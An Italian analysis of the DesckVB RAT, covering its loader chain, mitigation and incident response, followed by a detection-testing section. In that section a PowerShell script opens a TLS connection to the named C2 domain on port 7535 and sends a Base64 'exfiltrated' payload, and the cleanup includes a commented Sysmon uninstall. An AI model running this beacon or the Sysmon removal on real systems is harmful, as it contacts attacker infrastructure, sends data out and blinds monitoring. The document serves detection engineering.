Analisi di DesckVB RAT: Dal Loader JavaScript al RAT Fileless .NET

Riepilogo

DesckVB RAT è un trojan basato su JavaScript che si concatena a un loader PowerShell per recuperare ed eseguire una DLL .NET senza file direttamente in memoria. Per nascondere l’esecuzione, il loader si basa sulla codifica Base64 e sull’offuscamento tramite inversione delle stringhe, sfrutta InstallUtil.exe come LOLBin e avvia un nuovo processo utilizzando CreateProcessA. Una volta attivo, il RAT stabilisce comunicazioni C2 crittografate HTTPS e supporta moduli per keylogging, accesso alla webcam e rilevamento di software anti-AV.

Investigazione

L’analisi indica che la fase iniziale in JavaScript scrive uno script PowerShell in C:UsersPublic, poi raggiunge un dominio offuscato per scaricare un assembly .NET (ad esempio, ClassLibrary3.dll). L’assembly carica DLL di supporto, crea un processo sospeso e inietta codice di payload mentre riporta dettagli di configurazione come un dominio e una porta secondari maligni. La telemetria di rete conferma comunicazioni crittografate TLS dall’host infetto all’infrastruttura C2 dell’attaccante.

Mitigazione

Bloccare l’esecuzione di script PowerShell non fidati o non firmati e limitare l’uso di InstallUtil.exe per flussi di lavoro non amministrativi o non previsti. Applicare controlli rigorosi sull’uscita, inclusa l’ispezione HTTPS dove possibile e il filtraggio della reputazione del dominio per un’infrastruttura maligna identificata. Sui endpoint, rilevare l’uso di CreateProcessA con flag di processo sospeso e avvisare sui modelli di caricamento di assembly .NET in memoria coerenti con l’iniezione senza file.

Risposta

Se vengono rilevati indicatori, isolare l’endpoint, interrompere la catena di processi maligni e acquisire dump della memoria per l’analisi degli assembly e delle regioni iniettati nella memoria. Rimuovere gli artefatti PowerShell eliminati da C:UsersPublic ed eradicare eventuali DLL correlate o resti del loader. Resettare le credenziali compromesse, ruotare i segreti esposti e revisionare i log del firewall/proxy per le connessioni in uscita ai domini e alle porte elencate.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa & Comandi dell’Attacco:
  L’attaccante, ottenuto il primo accesso, lancia un payload basato su PowerShell “living‑off‑the‑land” che apre una connessione TCP avvolta da TLS al dominio C2 hard-coded manikandan83.mysynology.net sulla porta 7535. Il payload codifica un blocchetto di dati dummy con Base64 (illustrando T1132.002) e lo trasmette sul canale TLS. Poiché vengono utilizzate le classi .NET di PowerShell, nessun binario esterno viene scritto su disco, rispecchiando la natura senza file di DesckVB RAT. La connessione è stabilita da un sottoprocesso (powershell.exe) che sarà catturato da Sysmon come evento di connessione di rete con il dominio, la porta e il flag di handshake TLS esatti che la regola monitora.

• Script di Test di Regressione:

  # --------------------------------------------------------------
  # Simulazione di Comunicazione C2 di DesckVB RAT (PowerShell)
  # --------------------------------------------------------------
  # Parametri
  $c2Domain = "manikandan83.mysynology.net"
  $c2Port   = 7535
  
  # Payload dummy (codificato Base64) – rappresenta dati esfiltrati
  $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
  
  try {
      # Stabilire connessione TCP
      $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
      $netStream = $tcpClient.GetStream()
  
      # Avvolgere con TLS (SslStream)
      $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
      $sslStream.AuthenticateAsClient($c2Domain)
  
      Write-Host "[+] Handshake TLS completato con $c2Domain:$c2Port"
  
      # Invia prefisso lunghezza payload (4-byte big-endian) poi dati
      $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
      $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
      $sslStream.Write($len,0,$len.Length)
      $sslStream.Write($bytes,0,$bytes.Length)
      $sslStream.Flush()
      Write-Host "[+] Payload inviato (lunghezza Base64 $($bytes.Length))"
  
  } catch {
      Write-Error "[-] Connessione fallita: $_"
  } finally {
      # Spegnimento pulito
      if ($sslStream) { $sslStream.Close() }
      if ($netStream) { $netStream.Close() }
      if ($tcpClient) { $tcpClient.Close() }
      Write-Host "[*] Connessione terminata."
  }

• Comandi di Pulizia:

  # Assicurarsi che eventuali connessioni PowerShell NetTCP persistenti siano chiuse
  Get-Process -Name powershell | Where-Object {
      $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
  } | Stop-Process -Force
  
  # Opzionale: Rimuovere Sysmon (se questo è un ambiente di test occasionale)
  # & "$env:ProgramFilesSysmonSysmon.exe" -u